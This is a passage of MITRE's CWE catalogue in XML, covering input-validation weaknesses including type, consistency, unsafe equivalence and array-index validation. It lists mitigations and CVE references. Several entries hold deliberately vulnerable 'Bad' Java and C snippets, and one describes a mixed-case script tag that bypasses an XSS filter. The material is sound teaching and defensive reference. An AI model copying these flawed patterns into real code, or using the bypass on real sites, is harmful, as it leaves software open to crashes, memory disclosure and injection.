			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Other</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
	       <Effectiveness>High</Effectiveness>
            </Mitigation>
			</Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code loads and parses an XML file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>// Read DOM</xhtml:i>
                     <xhtml:br/>try {<xhtml:div style="margin-left:1em;">...<xhtml:br/>DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();<xhtml:br/>factory.setValidating( false );<xhtml:br/>....<xhtml:br/>c_dom = factory.newDocumentBuilder().parse( xmlFile );</xhtml:div>} catch(Exception ex) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The XML file is loaded without validating it against a known XML Schema or DTD.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
            <Observed_Examples>
	      <Observed_Example>
		<Reference>CVE-2016-4029</Reference>
		<Description>Chain: incorrect validation of intended decimal-based IP address format (CWE-1286) enables parsing of octal or hexadecimal formats (CWE-1389), allowing bypass of an SSRF protection mechanism (CWE-918).</Description>
		<Link>https://www.cve.org/CVERecord?id=CVE-2016-4029</Link>
	      </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5893</Reference>
               <Description>HTTP request with missing protocol version number leads to crash</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5893</Link>
            </Observed_Example>
            </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="66"/>
            <Related_Attack_Pattern CAPEC_ID="676"/>
         </Related_Attack_Patterns>
         <Notes>
			    <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-06-24</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1287" Name="Improper Validation of Specified Type of Input" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.</Description>
			<Extended_Description>
				<xhtml:p>When input does not comply with the expected type, attackers could trigger unexpected errors, cause incorrect actions to take place, or exploit latent vulnerabilities that would not be possible if the input conformed with the expected type.</xhtml:p>
				<xhtml:p>This weakness can appear in type-unsafe programming languages, or in programming languages that support casting or conversion of an input to another type.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="843" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Often"/>
				
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Other</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
	       <Effectiveness>High</Effectiveness>
            </Mitigation>
			</Potential_Mitigations>
            <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-2223</Reference>
               <Description>SQL injection through an ID that was supposed to be numeric.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2223</Link>
            </Observed_Example>
            </Observed_Examples>
            <Notes>
			    <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-06-24</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1288" Name="Improper Validation of Consistency within Input" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product receives a complex input with multiple elements or fields that must be consistent with each other, but it does not validate or incorrectly validates that the input is actually consistent.</Description>
			<Extended_Description>
				<xhtml:p>Some input data can be structured with multiple elements or fields that must be consistent with each other, e.g. a number-of-items field that is followed by the expected number of elements.  When such complex inputs are inconsistent, attackers could trigger unexpected errors, cause incorrect actions to take place, or exploit latent vulnerabilities.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Often"/>
				
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Other</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
	       <Effectiveness>High</Effectiveness>
            </Mitigation>
			</Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2018-16733</Reference>
               <Description>product does not validate that the start block appears before the end block</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2018-16733</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3790</Reference>
               <Description>size field that is inconsistent with packet size leads to buffer over-read</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3790</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4114</Reference>
               <Description>system crash with offset value that is inconsistent with packet size</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4114</Link>
            </Observed_Example>
         </Observed_Examples>
            <Notes>
			    <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-06-24</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1289" Name="Improper Validation of Unsafe Equivalence in Input" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value.</Description>
			<Extended_Description>
			  <xhtml:p>Attackers can sometimes bypass input validation schemes by finding inputs that appear to be safe, but will be dangerous when processed at a lower layer or by a downstream component.  For example, a simple XSS protection mechanism might try to validate that an input has no "&lt;script&gt;" tags using case-sensitive matching, but since HTML is case-insensitive when processed by web browsers, an attacker could inject "&lt;ScrIpT&gt;" and trigger XSS.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="41" View_ID="1000"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="178" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Often"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Other</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
	       <Effectiveness>High</Effectiveness>
            </Mitigation>
			</Potential_Mitigations>
            <Observed_Examples>
			<Observed_Example>
				<Reference>CVE-2021-39155</Reference>
				<Description>Chain: A microservice integration and management platform compares the hostname in the HTTP Host header in a case-sensitive way (CWE-178, CWE-1289), allowing bypass of the authorization policy (CWE-863) using a hostname with mixed case or other variations.</Description>
				<Link>https://www.cve.org/CVERecord?id=CVE-2021-39155</Link>
			</Observed_Example>
			<Observed_Example>
				<Reference>CVE-2020-11053</Reference>
				<Description>Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601)</Description>
				<Link>https://www.cve.org/CVERecord?id=CVE-2020-11053</Link>
			</Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0269</Reference>
               <Description>File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0269</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1238</Reference>
               <Description>Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1238</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2214</Reference>
               <Description>HTTP server allows bypass of access restrictions using URIs with mixed case.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2214</Link>
            </Observed_Example>
            </Observed_Examples>
            <Notes>
			    <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-06-24</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="129" Name="Improper Validation of Array Index" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1285" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="823" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="789" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
               <Description>The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="C++" Prevalence="Often"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>out-of-bounds array index</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>index-out-of-range</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>array index underflow</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Read Memory</Impact>
               <Note>Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Note>A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</xhtml:p>
                  <xhtml:p>Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>Black box methods might not get the needed code coverage within limited time constraints, and a dynamic test might not produce any noticeable side effects even if it is successful.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-7">
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</xhtml:p>
                  <xhtml:p>Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-11">
	       <Phase>Operation</Phase> 
	       <Phase>Build and Compilation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description>
		 <xhtml:p>Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. </xhtml:p> 
		 <xhtml:p> Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. </xhtml:p> 
	       <xhtml:p> For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. </xhtml:p> </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>These techniques do not provide a complete solution.  For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]</Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-12">
               <Phase>Operation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description> 
		 <xhtml:p> Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.  </xhtml:p> 
	         <xhtml:p> For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application. </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-35">
               <Phase>Implementation</Phase>
               <Description>Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the code snippet below, an untrusted integer value is used to reference an object in an array.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public String getValue(int index) {<xhtml:div style="margin-left:1em;">return array[index];</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If index is outside of the range of the array, this may result in an ArrayIndexOutOfBounds Exception being raised.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-34">
               <Intro_Text>The following example takes a user-supplied value to allocate an array of objects and then operates on the array.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private void buildList ( int untrustedListSize ){<xhtml:div style="margin-left:1em;">if ( 0 &gt; untrustedListSize ){<xhtml:div style="margin-left:1em;">die("Negative value supplied for list size, die evil hacker!");</xhtml:div>}<xhtml:br/>Widget[] list = new Widget [ untrustedListSize ];<xhtml:br/>list[0] = new Widget();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-100">
               <Intro_Text>In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int getValueFromArray(int *array, int len, int index) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>int value;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// check that the array index is less than the maximum</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// length of the array</xhtml:i>
                           <xhtml:br/>if (index &lt; len) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:i>// get the value at the specified index of the array</xhtml:i>
                                 <xhtml:br/>value = array[index];</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:i>// if array index is invalid then output error message</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// and return value indicating error</xhtml:i>
                           <xhtml:br/>else {<xhtml:div style="margin-left:1em;">printf("Value is: %d\n", array[index]);<xhtml:br/>value = -1;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return value;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>
                     <xhtml:br/>...<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// check that the array index is within the correct</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// range of values for the array</xhtml:i>
                     <xhtml:br/>if (index &gt;= 0 &amp;&amp; index &lt; len) {<xhtml:br/>
                     <xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
